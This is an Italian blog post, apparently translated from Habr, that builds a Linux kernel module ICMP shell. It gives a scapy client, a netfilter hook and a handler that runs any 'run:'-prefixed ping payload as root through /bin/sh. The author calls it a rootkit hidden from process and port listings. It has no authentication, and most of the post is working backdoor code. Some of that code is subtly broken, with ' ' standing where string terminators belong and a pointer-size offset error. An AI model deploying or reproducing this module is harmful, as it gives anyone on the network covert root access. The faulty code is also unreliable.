TL;DR: sto scrivendo un modulo del kernel che leggerà i comandi dal payload ICMP e li eseguirà sul server anche se SSH è andato in crash. Per i più impazienti, tutto il codice è su .
Attenzione! Programmatori esperti in C potrebbero versare lacrime di sangue! Potrei anche sbagliarmi nella terminologia, ma ogni critica è benvenuta. Questo post è rivolto a chi ha un'idea molto vaga della programmazione in C e desidera dare un'occhiata agli interne del Linux.
Nei commenti al mio primo è stato menzionato SoftEther VPN, che può mimetizzarsi sotto alcuni protocolli 'normali', in particolare HTTPS, ICMP e persino DNS. Posso immaginare il funzionamento solo del primo di essi, poiché conosco bene HTTP(S), e il tunneling su ICMP e DNS ho dovuto studiarlo.

Sì, nel 2020 ho scoperto che si può inserire un payload arbitrario nei pacchetti ICMP. Meglio tardi che mai! E dato che possiamo fare qualcosa al riguardo, è ora di farlo. Poiché nella mia quotidianità utilizzo spesso il terminale, anche tramite SSH, l'idea di un shell ICMP mi è venuta subito in mente. E per completare il tutto, ho deciso di scriverlo come un modulo Linux in un linguaggio di cui ho solo una conoscenza approssimativa. Questo shell non sarà visibile nell'elenco dei processi, può essere caricato nel kernel e non sarà presente nel file system, non vedrete nulla di sospetto nell'elenco delle porte in ascolto. Per quanto riguarda le sue capacità, si tratta di un vero rootkit, ma spero di perfezionarlo e utilizzarlo come un shell di ultima istanza, quando il carico medio è troppo alto per poter accedere tramite SSH e eseguire almeno echo i > /proc/sysrq-trigger, per ripristinare l'accesso senza riavviare.
Prendiamo un editor di testo, le basi della programmazione in Python e C, Google e che non ci dispiace sacrificare se tutto va male (opzionale — VirtualBox/KVM locale/etc.) e via!
Parte client
Pensavo che avrei dovuto scrivere uno script di circa 80 righe per il client, ma ci sono state persone gentili che hanno fatto il lavoro per me. . Il codice si è rivelato inaspettatamente semplice e si riduce a 10 righe significative:
import sys
from scapy.all import sr1, IP, ICMP
if len(sys.argv) < 3:
print('Usage: {} IP "command"'.format(sys.argv[0]))
exit(0)
p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
p.show() Lo script accetta due argomenti, l'indirizzo e il payload. Prima dell'invio, il payload è preceduto dalla chiave run:, che ci servirà per escludere i pacchetti con un payload casuale.
Il kernel richiede privilegi per craftare i pacchetti, quindi lo script deve essere eseguito con i diritti di superutente. Non dimenticare di dare i permessi di esecuzione e di installare scapy. In Debian c'è un pacchetto chiamato python3-scapy. Ora puoi controllare come funziona tutto.
Esecuzione e output del comando
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Ciao, mondo!"
Inizio emissione:
.Fatto inviato 1 pacchetto.
*
Ricevuti 2 pacchetti, ottenuta 1 risposta, rimanenti 0 pacchetti
###[ IP ]###
versione = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Ciao, mondo!
Ecco come appare nel sniffatore
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
In esecuzione come utente "root" e gruppo "root". Questo potrebbe essere pericoloso.
Catturando su 'wlp1s0'
Frame 1: 59 byte sul filo (472 bit), 59 byte catturati (472 bit) sull'interfaccia wlp1s0, id 0
Protocollo Internet Versione 4, Src: 192.168.0.240, Dst: 45.11.26.232
Protocollo di Controllo Internet
Tipo: 8 (Richiesta di echo (ping))
Codice: 0
Checksum: 0xd603 [corretto]
[Stato del checksum: Buono]
Identificatore (BE): 0 (0x0000)
Identificatore (LE): 0 (0x0000)
Numero di sequenza (BE): 0 (0x0000)
Numero di sequenza (LE): 0 (0x0000)
Dati (17 byte)
0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Lunghezza: 17]
Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Protocollo Internet Versione 4, Src: 45.11.26.232, Dst: 192.168.0.240
Protocollo di Controllo Internet
Tipo: 0 (Risposta Echo (ping))
Codice: 0
Checksum: 0xde03 [corretto]
[Stato del checksum: Buono]
Identificatore (BE): 0 (0x0000)
Identificatore (LE): 0 (0x0000)
Numero di sequenza (BE): 0 (0x0000)
Numero di sequenza (LE): 0 (0x0000)
[Frame di richiesta: 1]
[Tempo di risposta: 19.094 ms]
Dati (17 byte)
0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Lunghezza: 17]
^C2 pacchetti catturati
Il payload nel pacchetto di risposta non cambia.
Modulo del kernel
Per costruire in una virtual machine con Debian servono almeno make e linux-headers-amd64, il resto verrà caricata come dipendenze. Non fornirò il codice completo nell'articolo, puoi clonarlo su GitHub.
Configurazione del hook
Per iniziare, abbiamo bisogno di due funzioni: una per caricare il modulo e una per scaricarlo. La funzione per scaricare non è obbligatoria, ma in tal caso rmmod non potrà essere eseguita, il modulo verrà scaricato solo all'uscita.
#include <linux/module.h>
#include <linux/netfilter_ipv4.h>
static struct nf_hook_ops nfho;
static int __init startup(void)
{
nfho.hook = icmp_cmd_executor;
nfho.hooknum = NF_INET_PRE_ROUTING;
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST;
nf_register_net_hook(&init_net, &nfho);
return 0;
}
static void __exit cleanup(void)
{
nf_unregister_net_hook(&init_net, &nfho);
}
MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);Cosa sta succedendo qui:
- Vengono caricati due file di intestazione per le operazioni con il modulo e con il netfilter.
- Tutte le operazioni avvengono attraverso il netfilter, in cui possono essere impostati i hook. Per fare ciò, è necessario dichiarare una struttura in cui il hook sarà configurato. La cosa più importante è specificare la funzione che verrà eseguita come hook:
nfho.hook = icmp_cmd_executor;arriverò ancora alla funzione.
Poi ho impostato il momento di elaborazione del pacchetto:NF_INET_PRE_ROUTINGindica di elaborare il pacchetto quando appare nel kernel. Si può usareNF_INET_POST_ROUTINGper elaborare il pacchetto all'uscita dal kernel.
Imposto un filtro su IPv4:nfho.pf = PF_INET;.
Assegno al mio hook la massima priorità:nfho.priority = NF_IP_PRI_FIRST;
Registro la struttura dei dati come un vero e proprio hook:nf_register_net_hook(&init_net, &nfho); - Nella funzione di completamento, l'hook viene rimosso.
- La licenza è dichiarata esplicitamente per evitare avvisi dal compilatore.
- Le funzioni
module_init()emodule_exit()definiscono altre funzioni come quelle di inizializzazione e di conclusione del modulo.
Estrazione del payload
Ora è necessario estrarre il payload, che si è rivelato essere il compito più difficile. Nel kernel non esistono funzioni integrate per lavorare con il payload, si possono solo analizzare gli header di protocolli di livello superiore.
#include <linux/ip.h>
#include <linux/icmp.h>
#define MAX_CMD_LEN 1976
char cmd_string[MAX_CMD_LEN];
struct work_struct my_work;
DECLARE_WORK(my_work, work_handler);
static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
struct iphdr *iph;
struct icmphdr *icmph;
unsigned char *user_data;
unsigned char *tail;
unsigned char *i;
int j = 0;
iph = ip_hdr(skb);
icmph = icmp_hdr(skb);
if (iph->protocol != IPPROTO_ICMP) {
return NF_ACCEPT;
}
if (icmph->type != ICMP_ECHO) {
return NF_ACCEPT;
}
user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
tail = skb_tail_pointer(skb);
j = 0;
for (i = user_data; i != tail; ++i) {
char c = *(char *)i;
cmd_string[j] = c;
j++;
if (c == ' ')
break;
if (j == MAX_CMD_LEN) {
cmd_string[j] = ' ';
break;
}
}
if (strncmp(cmd_string, "run:", 4) != 0) {
return NF_ACCEPT;
} else {
for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
cmd_string[j] = cmd_string[j+4];
if (cmd_string[j] == ' ')
break;
}
}
schedule_work(&my_work);
return NF_ACCEPT;
}Cosa succede:
- È stato necessario includere file di intestazione aggiuntivi, questa volta per manipolare gli header di IP e ICMP.
- Imposto la lunghezza massima della stringa:
#define MAX_CMD_LEN 1976. Perché proprio questa? Perché il compilatore emette avvisi per lunghezze maggiori! Mi hanno già suggerito di esplorare lo stack e l'heap, e un giorno lo farò e potrei anche correggere il codice. Imposto subito una stringa in cui sarà presente il comando:char cmd_string[MAX_CMD_LEN];. Deve essere visibile in tutte le funzioni, di questo parlerò più dettagliatamente nel punto 9. - Ora è necessario inizializzare (
struct work_struct my_work;) la struttura e collegarla a un'altra funzione (DECLARE_WORK(my_work, work_handler);). Di cosa sia necessario, te lo racconterò anche nel nono punto. - Ora dichiaro la funzione che fungerà da hook. Il tipo e gli argomenti ricevuti sono dettati dal netfilter, ci interessa solo
skb. Questo è un buffer socket, una struttura dati fondamentale che contiene tutte le informazioni disponibili sul pacchetto. - Per il funzionamento della funzione sono necessarie due strutture e diverse variabili, tra cui due iteratori.
struct iphdr *iph; struct icmphdr *icmph; unsigned char *user_data; unsigned char *tail; unsigned char *i; int j = 0; - Possiamo procedere con la logica. Per il funzionamento del modulo non sono necessari altri pacchetti oltre a ICMP Echo, quindi analizziamo il buffer utilizzando funzioni incorporate e scartiamo tutti i pacchetti che non sono ICMP o Echo. Il ritorno
NF_ACCEPTsignifica accettare il pacchetto, ma puoi anche scartare i pacchetti restituendoNF_DROP.iph = ip_hdr(skb); icmph = icmp_hdr(skb); if (iph->protocol != IPPROTO_ICMP) { return NF_ACCEPT; } if (icmph->type != ICMP_ECHO) { return NF_ACCEPT; }Non ho controllato cosa succeda senza verificare gli header IP. La mia minima conoscenza di C suggerisce che senza controlli aggiuntivi succederà sicuramente qualcosa di terribile. Sarò felice se mi convincerai del contrario!
- Ora che il pacchetto è del tipo corretto, è possibile estrarre i dati. Senza una funzione integrata, è necessario prima ottenere un puntatore all'inizio del payload. Questo si fa attraverso un certo metodo; bisogna prendere il puntatore all'inizio dell'intestazione ICMP e spostarlo in base alla dimensione di quest'ultima. Si utilizza una struttura per tutto questo.
icmph:user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
La fine dell'intestazione deve coincidere con la fine del payload inskb, quindi lo otteniamo tramite mezzi kernel dalla struttura corrispondente:tail = skb_tail_pointer(skb);.
Ho preso l'immagine , puoi leggere di più sul buffer socket. - Una volta ottenuti i puntatori all'inizio e alla fine, è possibile copiare i dati nella stringa
cmd_string, controllarla per la presenza di un prefissorun:e, se non presente, eliminare il pacchetto oppure riscrivere la stringa rimuovendo questo prefisso. - Bene, ora puoi chiamare un altro handler:
schedule_work(&my_work);. Dato che non è possibile passare parametri in questa chiamata, la stringa del comando deve essere globale.schedule_work()invierà la funzione associata alla struttura passata in una coda comune del pianificatore di attività e terminerà, permettendo di non attendere la conclusione del comando. Questo è necessario perché il hook deve essere molto veloce. Altrimenti, a scelta, non si avvierà nulla o si otterrà un kernel panic. Ritardare è fatale! - Tutto pronto, puoi accettare il pacchetto con il return appropriato.
Chiamata del programma in user space
Questa funzione è la più comprensibile. Il suo nome è stato impostato in DECLARE_WORK(), il tipo e gli argomenti accettati non sono rilevanti. Prendiamo la stringa con il comando e la passiamo interamente alla shell. Lascia che si occupi del parsing, della ricerca dei binari e di tutto il resto.
static void work_handler(struct work_struct * work)
{
static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
static char *envp[] = {"PATH=/bin:/sbin", NULL};
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}- Impostiamo gli argomenti in un array di stringhe
argv[]. Presumo che tutti sappiano che i programmi vengono eseguiti proprio in questo modo, e non come una stringa continua di spazi. - Impostiamo le variabili d'ambiente. Ho aggiunto solo il PATH con un insieme minimo di percorsi, sperando che siano già combinati per tutti
/bincon/usr/bine/sbincon/usr/sbin. Altri percorsi hanno raramente importanza nella pratica. - Fatto, si esegue! Funzione del kernel
call_usermodehelper()accetta come input il percorso del binario, un array di argomenti e un array di variabili di ambiente. Anche qui, presumo che tutti comprendano come passare il percorso dell'eseguibile come argomento separato, ma potete chiedere. L'ultimo argomento indica se attendere il completamento del processo (UMH_WAIT_PROC), avviare il processo (UMH_WAIT_EXEC) o non aspettare affatto (UMH_NO_WAIT). C'è ancheUMH_KILLABLE, ma non mi sono soffermato su questo.
Build
La costruzione dei moduli kernel avviene attraverso il framework make del kernel. Si chiama make all'interno di una directory speciale legata alla versione del kernel (definita qui: KERNELDIR:=/lib/modules/$(shell uname -r)/build), mentre la posizione del modulo viene passata come variabile M negli argomenti. Negli obiettivi icmpshell.ko e clean viene interamente usato questo framework. In obj-m si specifica il file oggetto che sarà trasformato in modulo. La sintassi che modifica main.o in icmpshell.o (icmpshell-objs = main.o) non mi sembra molto logica, ma continuerò così.
KERNELDIR:=/lib/modules/$(shell uname -r)/build
obj-m = icmpshell.o
icmpshell-objs = main.o
tutto: icmpshell.ko
icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules
pulire:
make -C $(KERNELDIR) M=$(PWD) clean
Costruendo: make. Caricando: insmod icmpshell.ko. Fatto, ora si può controllare: sudo ./send.py 45.11.26.232 "date > /tmp/test". Se sul vostro sistema è comparso un file /tmp/test e contiene la data di invio della richiesta, quindi hai fatto tutto correttamente e anch'io ho fatto tutto correttamente.
Conclusione
La mia prima esperienza di sviluppo di kernel si è rivelata molto più semplice di quanto mi aspettassi. Anche senza esperienza nella programmazione in C, e seguendo i suggerimenti del compilatore e le indicazioni di Google, sono riuscito a scrivere un modulo funzionante e a sentirmi un hacker di kernel, oltre che uno script kiddie. Inoltre, sono entrato nel canale Kernel Newbies, dove mi hanno suggerito di usare schedule_work() invece della chiamata call_usermodehelper() all'interno stesso dell'hook e mi hanno redarguito, giustamente sospettando una truffa. Cento righe di codice mi sono costate circa una settimana di sviluppo nel tempo libero. Un'esperienza fortunata che ha distrutto il mio personale mito sulla complessità insormontabile dello sviluppo di sistemi.
Se qualcuno è disposto a fare una revisione del codice su GitHub, ne sarei grato. Sono quasi certo di aver commesso molti errori stupidi, soprattutto nel lavoro con le stringhe.
Fonte: habr.com

